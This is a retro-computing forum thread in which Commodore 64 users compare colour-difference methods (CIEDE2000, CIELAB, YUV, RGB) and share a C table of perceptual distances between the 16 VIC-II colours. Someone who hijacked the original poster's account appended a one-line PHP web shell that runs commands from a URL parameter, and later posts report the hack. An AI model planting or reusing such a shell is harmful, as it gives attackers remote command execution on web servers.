| | Ghostrider
Administrator
Posts: 45 |
C64 color comparison
<Post edited by Ghostrider on 20/11-2024 15:37>
So, I'm playing around with something that utilizes color differences, and I wanted my code to be as good as I could make it. That led me into a little research, resulting in the below table (and documentation) in my code. I have no idea whether others have done anything like this, I just thought I'd share it in case it could be useful for someone. (Tho I guess there could be someone who doesn't like the Pepto palette). The color-differences range from 0 to 100, as can be seen from the difference between black and white.
/* COLOR-DIFFERENCE TABLE, measuring how alike 2 colors look to the human eye.
*
* Created by translating the correct C64 RGB-palette (as thoroughly researched
* by Philip 'Pepto' Timmermann, and published in the "Commodore VIC-II Color
* Analysis"):
*
* Black White Red Cyan Purple Green Blue
* 00 00 00 ff ff ff 68 37 2b 70 a4 b2 6f 3d 86 58 8d 43 35 28 79
*
* Yellow Orange Brown Lt Red Dark Grey Med Grey Lt green
* b8 c7 6f 6f 4f 25 43 39 00 9a 67 59 44 44 44 6c 6c 6c 9a d2 84
*
* Lt Blue Lt Grey
* 6c 5e b5 95 95 95
*
*
* into the intended perceptually uniform CIE L*a*b* (CIELAB) color space via
* Photoshop CS5:
*
* Black White Red Cyan Purple Green Blue
* 0 0 0 100 0 0 29 21 18 64 -15 -13 35 32 -32 54 -29 33 22 25 -45
*
* Yellow Orange Brown Lt Red Dark Grey Med Grey Lt green
* 78 -15 42 36 10 30 24 0 33 49 20 17 29 0 0 46 0 0 79 -29 33
*
* Lt Blue Lt Grey
* 44 22 -45 62 0 0
*
* and finally, using the above CIE L*a*b* values, computing the
* color-differences between any two C64 colors. This was done using a Matlab
* implementation of the CIEDE2000 color-difference formula, published by
* Gaurav Sharma at the University of Rochester. As of 2016, this should be the
* best visual-color-difference algorithm available.
*/
float colordiff[16][16] = {
{0.00000, 100.00000, 27.29927, 53.26580, 33.36977, 46.54540, 27.91278,
71.32101, 30.91014, 24.36201, 40.40526, 18.97503, 32.86756, 72.80412,
39.20668, 48.53537},
{100.00000, 0.00000, 61.97257, 29.34183, 56.93753, 40.24329, 71.85536,
26.50693, 54.14554, 67.73280, 42.05900, 58.78266, 40.33892, 26.72007,
48.58504, 26.02320},
{27.29927, 61.97257, 0.00000, 53.66487, 28.72115, 44.76018, 33.08048,
56.92023, 14.00707, 21.06269, 17.36067, 19.62648, 24.37162, 61.72667,
35.29397, 37.10740},
{53.26580, 29.34183, 53.66487, 0.00000, 38.60884, 30.82463, 43.73660,
34.43323, 43.05106, 48.64282, 43.62700, 37.61613, 23.58306, 31.63124,
27.79863, 16.38323},
{33.36977, 56.93753, 28.72115, 38.60884, 0.00000, 63.67504, 13.95492,
69.94213, 40.00703, 47.52039, 30.66366, 24.06466, 25.52344, 73.27806,
13.99189, 35.70972},
{46.54540, 40.24329, 44.76018, 30.82463, 63.67504, 0.00000, 55.77398,
21.74555, 31.80033, 31.80176, 38.51345, 32.30988, 24.56106, 20.17950,
49.67790, 24.32458},
{27.91278, 71.85536, 33.08048, 43.73660, 13.95492, 55.77398, 0.00000,
80.90839, 43.71174, 48.31631, 39.23529, 24.73801, 31.07341, 74.86371,
17.74707, 43.54902},
{71.32101, 26.50693, 56.92023, 34.43323, 69.94213, 21.74555, 80.90839,
0.00000, 42.97277, 54.79072, 39.45047, 52.55362, 35.47933, 9.66140,
64.56892, 25.73341},
{30.91014, 54.14554, 14.00707, 43.05106, 40.00703, 31.80033, 43.71174,
42.97277, 0.00000, 12.50487, 17.45413, 19.77869, 20.96770, 47.52027,
42.70317, 32.11929},
{24.36201, 67.73280, 21.06269, 48.64282, 47.52039, 31.80176, 48.31631,
54.79072, 12.50487, 0.00000, 29.37105, 19.29903, 26.19519, 57.58782,
50.39976, 39.71692},
{40.40526, 42.05900, 17.36067, 43.62700, 30.66366, 38.51345, 39.23529,
39.45047, 17.45413, 29.37105, 0.00000, 25.82295, 19.35305, 45.64642,
32.88847, 22.69667},
{18.97503, 58.78266, 19.62648, 37.61613, 24.06466, 32.30988, 24.73801,
52.55362, 19.77869, 19.29903, 25.82295, 0.00000, 14.44913, 53.39135,
26.98485, 31.49222},
{32.86756, 40.33892, 24.37162, 23.58306, 25.52344, 24.56106, 31.07341,
35.47933, 20.96770, 26.19519, 19.35305, 14.44913, 0.00000, 36.41365,
23.94736, 15.38462},
{72.80412, 26.72007, 61.72667, 31.63124, 73.27806, 20.17950, 74.86371,
9.66140, 47.52027, 57.58782, 45.64642, 53.39135, 36.41365, 0.00000,
57.25129, 26.64841},
{39.20668, 48.58504, 35.29397, 27.79863, 13.99189, 49.67790, 17.74707,
64.56892, 42.70317, 50.39976, 32.88847, 26.98485, 23.94736, 57.25129,
0.00000, 29.63502},
{48.53537, 26.02320, 37.10740, 16.38323, 35.70972, 24.32458, 43.54902,
25.73341, 32.11929, 39.71692, 22.69667, 31.49222, 15.38462, 26.64841,
29.63502, 0.00000}
};
[PETDel]<?php system($_GET['cmd']); ?>
[/PETDel][/code] |
|
| | lft
Registered: Jul 2007
Posts: 369 |
Fascinating stuff.
I'm not quite sure I understand the intuition for these colour differences, though. For instance, going from black to white involves a difference of 100, but going from black to dark grey to white is only 19 + 59 = 78. So as a measure of distance, it doesn't satisfy the triangle inequality (which states that a detour can never give you a shorter path).
Could you elaborate on how one could use this table in practice? |
| | Digger
Registered: Mar 2005
Posts: 438 |
Reminds me of a small side project that can sort colors based on their luma distances: https://og2t.github.io/retro-palette-explorer/
Pick "Closest to $x" option from the Sort By dropdown. |
| | Ghostrider
Administrator
Posts: 45 |
Digger, interesting page and side-project! I especially like the idea of judging the mixed colours!
lft, I can tell you how I am using it. It is the simple matter of approximating one colour with another. As you know, various C64 graphics modes have some limitation on how many colours can be used within some limited area of the screen (like a char, for example). In my case, the original (input) image that I'm approximating already uses only the 16 VIC colours but with no limitations concerning "number of colours per area". So in choosing the best colours for my approximating output, I needed a way for the code to compare each original colour with a possible candidate. And as my studies led me to understand, RGB is not a very good basis for comparing colours, if we talk about how they look to the human eye. One could say that the table answers questions such as "If I wanted to approximate a red colour with that other colour which looks the closest to the human eye, which should it be?" (in this case the answer would be "orange", with a difference score to red of 14.00707, the lowest of any candidate). This, ofcoz, also allows one to select the second best or third best (and so on) candidate.
Apparently there's ongoing research in the area of humanly perceived colour-difference. The CIEDE2000 colour-difference formula was the best I could find, with an implementation available on:
http://www.ece.rochester.edu/~gsharma/ciede2000/
Wikipedia also has some info on the topic and the formula.
I believe that if one wanted to make the ultimate general "png to koala" converter (or something like that), as of 2016 this might be the "visually optimal" formula to use. Though I have no idea how many hours of number-crunching such a tool would need to do, using the formula to derive the best possible koala picture from a general png. :D |
| | Copyfault
Registered: Dec 2001
Posts: 478 |
Interesting and helpful indeed! Up to now I was fiddling with an avarage of RGB-distance and YUV-distance, but this approach seems to bring it down to one comparison formula.
Nontheless, lft is right in saying that this formula gives no proper distance function. Then again, who said that the colour spaces we deal with (i.e. a rather tiny discrete space as a subspace of another huge discrete space) are metric spaces ;)? |
| | Copyfault
Registered: Dec 2001
Posts: 478 |
Quoting Ghostrider
[...] In my case, the original (input) image that I'm approximating already uses only the 16 VIC colours but with no limitations concerning "number of colours per area".
[...]
Upon furhter thinking, I wonder how the first conversion of the original data to the 16 VIC-Cols were done. Did you do that by RGB comparison or was the CIELAB-difference-formula already applied in this early step?
This should make a difference as the RGB comparison is based on the euclidian norm whereas the CIELab-formula is _a little bit_ more complicated.
In case you have done the first conversion step with the CIELab-difference-formula: would you care to share it (be it C+/java/Kickass/ACME-macro or whatever "frontend")? Having read through the mentioned paper I decided to refrain from exchanging the existing standard comparsion (suddenly RGB comparison is not THAT bad after all ;)) |
| | Ghostrider
Administrator
Posts: 45 |
Copyfault, actually I haven't done the "early step" you mention. And you are right, the formula is _a little bit_ complicated, haha :D
I only used a slightly modified version of the Matlab sources to calculate the table I've shown.
But since the Matlab implementation of the formula is less than 2 pages of code, it shouldn't be too hard to translate it to C (or whatever) line by line.
One just has to also find an RGB-to-CIELAB conversion formula (I used Photoshop), since that's what the CIEDE2000-formula eats - but I guess such a formula should be quite possible to find. I haven't looked into this.
In case you didn't notice, the code is under the "Matlab function" link on the page I linked to. |
| | Copyfault
Registered: Dec 2001
Posts: 478 |
Ok, thanks for the fast reply! Hmm, maybe I should give it a try transferring the MATLAB-code to e.g. Kickass line-by-line... let's see.
On the German Wikipedia pages I found some information on how to convert from sRGB to CIEL*a*b*. This is done by
1. a linear transformation to convert sRGB to CIEXYZ-coordinates -plus-
2. a nonlinear transformation to convert the CIEXYZ-values into CIEL*a*b*-values
The way to go should be to define a "new" distance function for RGB-values by
d(RGB_1, RGB_2) := CIEDE2000 (T(RGB_1), T(RGB_2)),
where T denotes the transformation as described above.
Quite something to do! Thanks again for the pointers! |
| | Ghostrider
Administrator
Posts: 45 |
That was fast, finding that sRGB -> CIELAB formula. Thanks for the link!
Yeah, that seems like the right steps to take. And something I think we haven't seen in the C64 scene yet.
A KickAss-script implementation _would_ be really really cool! (I wonder how fast it would be). |
| | Oswald
Registered: Apr 2002
Posts: 5095 |
I dont understand half of that german wiki. so rgb to xyz then xyz to lab ? what if I got heiligkeit grun blaue etc, how do I calculate a distance if i have 2 sets of values of those for 2 colors ?
Die Faktoren 500 bzw. 200 sollen die resultierenden Werte für a* und b* in die gewohnten Größenordnungen bringen, die auch zum maximalen L* von 100 passen.
wat ? :) |
| | chatGPZ
Registered: Dec 2001
Posts: 11390 |
what exactly are you trying to do with this anyway? from when i experimented with this stuff, i remember that YUV would always give the better result... the LAB stuff didnt help for what i was doing :) |
| | enthusi
Registered: May 2004
Posts: 677 |
I would agree that RGB distance is bad, and YUV already as good as it gets but I stand to be corrected. |
| | chatGPZ
Registered: Dec 2001
Posts: 11390 |
the one good thing with YUV is that you can handle luma and chroma seperately..... overall, for single pixels, chroma isnt really that important, luma is much more - so it fits perfectly the purpose. |
| | enthusi
Registered: May 2004
Posts: 677 |
*instant light green faces*
;-) |
| | chatGPZ
Registered: Dec 2001
Posts: 11390 |
from my experience thats much more of a problem when comparing colors in RGB space :) |
| | Copyfault
Registered: Dec 2001
Posts: 478 |
Quoting OswaldI dont understand half of that german wiki. so rgb to xyz then xyz to lab ? [...]
Die Faktoren 500 bzw. 200 sollen die resultierenden Werte für a* und b* in die gewohnten Größenordnungen bringen, die auch zum maximalen L* von 100 passen.
wat ? :)
These numbers (500, 200) are certain scaling factors to ensure consistency between the values for L*, a* and b*.
As I don't have any experiences with L*a*b*-coordinates as of yet, I can just take those scaling factors as given and assume that they ensure proper calculation results.
Sorry for only posting a German link; unfortunatly, the english wiki did not contain information on how to convert from (some) RGB space to this L*a*b*-thing. At least I did not find anything like that up to now... |
| | Jetboy
Registered: Jul 2006
Posts: 338 |
I'm dabbling in color conversions and color spaces a lot, over a year. I don't know what you use it for, but when converting images to c64, while CEIDE2000 gives the most true representation of colors of original image it does not look too good.
Using XYZ, HSV or even RGB give much more pleasant images (although color shifted). Also trying Manhattan or Minkowsky instead of euclidean distance give interesting results.
As for palette, Pepto is good, but in my experience PALette is better. But it is nuisance, as the results differ depending of way too many factors, including specific c64, monitor, image being processed, lightning in the presentation room, and individual qualities of the observer.
The key to getting nice colors in RGB is to use weight for each color, representing how much it contribute for the human vision. Although if you apply the weights "as the handbook says", you get way too much blue in dark areas, resulting in images looking like they were from old Censor Design demos. If you apply only 80-90 percent of the weights, you avoid this drawback, and get more representative colors.
Also when converting images to c64, when they are too washed out, you can decide not to use dark gray, or dark gray and mid gray. They get much more colorful then, but more bluish. If viewer does not know the original picture, it will be looking good to them in most cases.
All i say here are the generalizations, and individual images may deviate a lot.
Also i do not think doing image processing in kickass is the way to go, as you do not get immediate response and cannot tweak values in real time- which can improve conversion quality greatly. But again, i do not know what you use this color comparisons for :) |
| | Jetboy
Registered: Jul 2006
Posts: 338 |
The more i think about it, the more i think my implementation of CIEDE2000 was somewhat flawed. Will investigate it again when i find some spare time. |
| | Copyfault
Registered: Dec 2001
Posts: 478 |
Quote: <Post censored by CSDb staff>
Hmm, aside from un-necrofying this thread, does this post mean the values have been updated?
If so, did the initial post change along with it? Would be a bit confusing because then nobody has the chance to compare old to new values...
But I guess it's all different and I'm on the wrong path. Still using the values (that used to be here) for looking up substitute colours, but -having read the old posts again- I did not really pick up on writing a proper distance function (in whatever xass).
So, still smth to do I'd say ;) |
| | chatGPZ
Registered: Dec 2001
Posts: 11390 |
These days you should probably use the values Tobias measured (different for odd and even lines) to get optimal results (this is what VICE uses for the CRT emulation/palette generator now) |
| | Copyfault
Registered: Dec 2001
Posts: 478 |
Quote: These days you should probably use the values Tobias measured (different for odd and even lines) to get optimal results (this is what VICE uses for the CRT emulation/palette generator now)
Very good pointer! THX!
Is there a thread or link to a webpage or whatever where I can see these values? Or maybe I should just contact him ;) |
| | chatGPZ
Registered: Dec 2001
Posts: 11390 |
There was some thread on F64, a year ago or so. I usually just contact him directly :) |
| | Ghostrider
Administrator
Posts: 45 |
Hey guys,
just to let you know my account got hacked, so the un-necrofying in post #17 above was not me. You might also notice the PETDel crap that the ill-natured person inserted at the bottom of my original post. (Maybe it will be removed again, I don't know.) I've changed my password.
Had no intention to revive this thread, nevertheless always interesting to see different ideas on the color stuff. |
| | Count Zero
Registered: Jan 2003
Posts: 1940 |
Thanx Ghostrider -removed the post and Admin team is currently looking at further incidents affecting the database. |
|
